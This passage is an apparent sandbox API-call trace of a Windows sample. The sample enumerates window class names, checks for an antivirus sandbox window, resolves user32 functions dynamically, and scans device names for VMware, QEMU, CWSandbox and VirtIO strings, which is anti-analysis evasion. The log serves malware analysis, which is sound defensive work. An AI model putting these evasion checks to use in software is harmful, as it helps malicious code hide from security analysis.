GetClassNameA (in: hWnd=0x8005e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="biblewindow") returned 11 [0276.748] GetClassNameA (in: hWnd=0x30190, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Teeth_cls") returned 9 [0276.748] GetClassNameA (in: hWnd=0x701be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="juryPhotographicRecommendwnd") returned 28 [0276.748] GetClassNameA (in: hWnd=0x50064, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="photo_wnd") returned 9 [0276.748] GetClassNameA (in: hWnd=0x70072, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="lawyers_cohen_Accomplish_cls") returned 28 [0276.749] GetClassNameA (in: hWnd=0x40168, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CetAlgeriamunicipalwindow") returned 25 [0276.749] GetClassNameA (in: hWnd=0x30164, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="address_win") returned 11 [0276.749] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Narrative_Hosting_win") returned 21 [0276.749] GetClassNameA (in: hWnd=0x30114, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Technocls") returned 9 [0276.749] GetClassNameA (in: hWnd=0x30092, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ConcludedRochesterDiscussed") returned 27 [0276.749] GetClassNameA (in: hWnd=0x30090, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Physical_illustrated_er_class") returned 29 [0276.749] GetClassNameA (in: hWnd=0x30124, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Initiative_lab_Lindsay_cls") returned 26 [0276.749] GetClassNameA (in: hWnd=0x40134, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MakeObjectcls") returned 13 [0276.749] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0276.749] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PNIHiddenWnd") returned 12 [0276.749] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.750] GetClassNameA (in: hWnd=0x10218, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.750] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ATL:00007FF9D691E130") returned 20 [0276.750] GetClassNameA (in: hWnd=0x101da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="SystemTray_Main") returned 15 [0276.750] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0276.750] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.750] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="TabletModeCoverWindow") returned 21 [0276.750] GetClassNameA (in: hWnd=0x501ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.750] GetClassNameA (in: hWnd=0x20326, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.750] GetClassNameA (in: hWnd=0x10152, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0276.750] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0276.750] GetClassNameA (in: hWnd=0x200a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0276.798] GetClassNameA (in: hWnd=0x10132, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="OleDdeWndClass") returned 14 [0276.798] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0276.798] GetClassNameA (in: hWnd=0x10126, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.798] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.798] GetClassNameA (in: hWnd=0x10118, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.798] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.798] GetClassNameA (in: hWnd=0x10102, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="WorkerW") returned 7 [0276.799] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="tooltips_class32") returned 16 [0276.799] GetClassNameA (in: hWnd=0x2007a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0276.799] GetClassNameA (in: hWnd=0x100be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0276.799] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0276.799] GetClassNameA (in: hWnd=0x2003c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0276.799] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLEvent") returned 10 [0276.799] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="DDEMLMom") returned 8 [0276.799] GetClassNameA (in: hWnd=0x10042, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Dwm") returned 3 [0276.799] GetClassNameA (in: hWnd=0x2007e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="CicLoaderWndClass") returned 17 [0276.799] GetClassNameA (in: hWnd=0x10104, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="Progman") returned 7 [0276.799] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x10100, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0276.800] GetClassNameA (in: hWnd=0x10098, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x30370, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102ea, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x202e6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x102de, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.800] GetClassNameA (in: hWnd=0x202da, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x102d6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202ce, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202c6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202be, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202ba, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202b6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202b2, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x102ae, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.801] GetClassNameA (in: hWnd=0x202aa, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x102a6, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x102a4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x102a0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x2029a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x10296, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x10292, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x2028e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x2028a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x20286, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x20282, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x50270, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.802] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x20278, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x10272, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x1026a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x10264, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x10254, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x10248, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x20244, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.803] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x10238, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x10234, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x401f4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x401f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x20080, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x20082, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x20078, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x2005c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x4007c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x3006a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x30070, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.804] GetClassNameA (in: hWnd=0x20062, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x30052, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x20214, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x60034, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x70032, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x60068, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x20172, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x201f8, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x200f0, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x200ee, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x2008e, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.805] GetClassNameA (in: hWnd=0x20174, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x10128, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x10120, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="MSCTFIME UI") returned 11 [0276.806] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x19fdc8, nMaxCount=256 | out: lpClassName="IME") returned 3 [0276.806] lstrlenA (lpString="snxhk_border_mywnd") returned 18 [0276.806] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.806] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efb40 [0276.806] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26ef9f0 [0276.807] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0276.807] lstrlenA (lpString="kernel32.dll") returned 12 [0276.807] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0276.807] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0276.807] lstrlenA (lpString="GetProcAddress") returned 14 [0276.807] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.807] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26ef9f0 [0276.807] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0276.807] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb10 [0276.807] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0276.807] lstrlenA (lpString="MessageBoxA") returned 11 [0276.808] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb10 | out: hHeap=0x2670000) returned 1 [0276.808] lstrlenA (lpString="user32.dll") returned 10 [0276.808] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.808] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efa68 [0276.808] GetProcAddress (hModule=0x76850000, lpProcName="FindWindowA") returned 0x76867a80 [0276.808] lstrlenA (lpString="FindWindowA") returned 11 [0276.808] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa68 | out: hHeap=0x2670000) returned 1 [0276.808] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26ef9f0 [0276.808] GetProcAddress (hModule=0x76850000, lpProcName="SendMessageA") returned 0x76860630 [0276.808] lstrlenA (lpString="SendMessageA") returned 12 [0276.808] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef9f0 | out: hHeap=0x2670000) returned 1 [0276.808] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efa20 [0276.808] GetProcAddress (hModule=0x76850000, lpProcName="PostMessageA") returned 0x7686b8d0 [0276.808] lstrlenA (lpString="PostMessageA") returned 12 [0276.808] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa20 | out: hHeap=0x2670000) returned 1 [0276.809] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x14) returned 0x26ef700 [0276.809] GetProcAddress (hModule=0x76850000, lpProcName="GetForegroundWindow") returned 0x76883420 [0276.809] lstrlenA (lpString="GetForegroundWindow") returned 19 [0276.809] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.809] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef700 [0276.809] GetProcAddress (hModule=0x76850000, lpProcName="RegisterClassExA") returned 0x76868260 [0276.809] lstrlenA (lpString="RegisterClassExA") returned 16 [0276.809] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.809] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb58 [0276.809] GetProcAddress (hModule=0x76850000, lpProcName="CreateWindowExA") returned 0x76871470 [0276.809] lstrlenA (lpString="CreateWindowExA") returned 15 [0276.809] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.809] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efb70 [0276.810] GetProcAddress (hModule=0x76850000, lpProcName="ShowWindow") returned 0x76883ee0 [0276.810] lstrlenA (lpString="ShowWindow") returned 10 [0276.810] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb70 | out: hHeap=0x2670000) returned 1 [0276.810] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xd) returned 0x26efbb8 [0276.810] GetProcAddress (hModule=0x76850000, lpProcName="UpdateWindow") returned 0x76862b80 [0276.810] lstrlenA (lpString="UpdateWindow") returned 12 [0276.810] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0276.810] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efaf8 [0276.810] GetProcAddress (hModule=0x76850000, lpProcName="GetMessageA") returned 0x7686bdf0 [0276.810] lstrlenA (lpString="GetMessageA") returned 11 [0276.810] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efaf8 | out: hHeap=0x2670000) returned 1 [0276.810] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef700 [0276.811] GetProcAddress (hModule=0x76850000, lpProcName="TranslateMessage") returned 0x7687f900 [0276.811] lstrlenA (lpString="TranslateMessage") returned 16 [0276.811] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.811] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef700 [0276.811] GetProcAddress (hModule=0x76850000, lpProcName="DispatchMessageA") returned 0x7686fd80 [0276.811] lstrlenA (lpString="DispatchMessageA") returned 16 [0276.811] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.811] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa38 [0276.811] GetProcAddress (hModule=0x76850000, lpProcName="DestroyWindow") returned 0x76883160 [0276.811] lstrlenA (lpString="DestroyWindow") returned 13 [0276.811] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0276.811] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x11) returned 0x26ef700 [0276.811] GetProcAddress (hModule=0x76850000, lpProcName="UnregisterClassA") returned 0x7687b230 [0276.811] lstrlenA (lpString="UnregisterClassA") returned 16 [0276.812] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef700 | out: hHeap=0x2670000) returned 1 [0276.812] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb28 [0276.812] GetProcAddress (hModule=0x76850000, lpProcName="DefWindowProcA") returned 0x77865680 [0276.812] lstrlenA (lpString="DefWindowProcA") returned 14 [0276.812] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb28 | out: hHeap=0x2670000) returned 1 [0276.812] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efa80 [0276.812] GetProcAddress (hModule=0x76850000, lpProcName="PostQuitMessage") returned 0x76872bc0 [0276.812] lstrlenA (lpString="PostQuitMessage") returned 15 [0276.812] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa80 | out: hHeap=0x2670000) returned 1 [0276.814] SetupDiGetClassDevsA (ClassGuid=0x0, Enumerator=0x0, hwndParent=0x0, Flags=0x6) returned 0x623dc8 [0276.830] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x623dc8, MemberIndex=0x0, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0276.830] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0276.882] GetLastError () returned 0x7a [0276.882] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x12) returned 0x26ef700 [0276.882] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x623dc8, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x26ef700, RequiredSize=0x19fe7c) returned 1 [0276.886] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x10) returned 0x26efb40 [0276.887] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Pointing") returned 0x0 [0276.887] lstrlenA (lpString="VMware Pointing") returned 15 [0276.887] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0276.887] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x13) returned 0x26ef720 [0276.887] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Accelerated") returned 0x0 [0276.888] lstrlenA (lpString="VMware Accelerated") returned 18 [0276.888] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef720 | out: hHeap=0x2670000) returned 1 [0276.888] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efac8 [0276.888] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SCSI") returned 0x0 [0276.888] lstrlenA (lpString="VMware SCSI") returned 11 [0276.888] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efac8 | out: hHeap=0x2670000) returned 1 [0276.888] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xc) returned 0x26efb40 [0276.888] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware SVGA") returned 0x0 [0276.888] lstrlenA (lpString="VMware SVGA") returned 11 [0276.888] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb40 | out: hHeap=0x2670000) returned 1 [0276.888] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xe) returned 0x26efa38 [0276.888] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware Replay") returned 0x0 [0276.888] lstrlenA (lpString="VMware Replay") returned 13 [0276.888] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0276.888] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x15) returned 0x26ef720 [0276.888] StrStrIA (lpFirst="?? IO ??", lpSrch="VMware server memory") returned 0x0 [0276.888] lstrlenA (lpString="VMware server memory") returned 20 [0276.888] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26ef720 | out: hHeap=0x2670000) returned 1 [0276.888] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xa) returned 0x26efbb8 [0276.888] StrStrIA (lpFirst="?? IO ??", lpSrch="CWSandbox") returned 0x0 [0276.888] lstrlenA (lpString="CWSandbox") returned 9 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efbb8 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xb) returned 0x26efa38 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="Virtual HD") returned 0x0 [0276.889] lstrlenA (lpString="Virtual HD") returned 10 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efa38 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0x5) returned 0x26effd0 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="QEMU") returned 0x0 [0276.889] lstrlenA (lpString="QEMU") returned 4 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26effd0 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap (HeapHandle=0x2670000, Flags=0x8, Size=0xf) returned 0x26efb58 [0276.889] StrStrIA (lpFirst="?? IO ??", lpSrch="Red Hat VirtIO") returned 0x0 [0276.889] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0276.889] HeapFree (in: hHeap=0x2670000, dwFlags=0x0, lpMem=0x26efb58 | out: hHeap=0x2670000) returned 1 [0276.889] RtlAllocateHeap 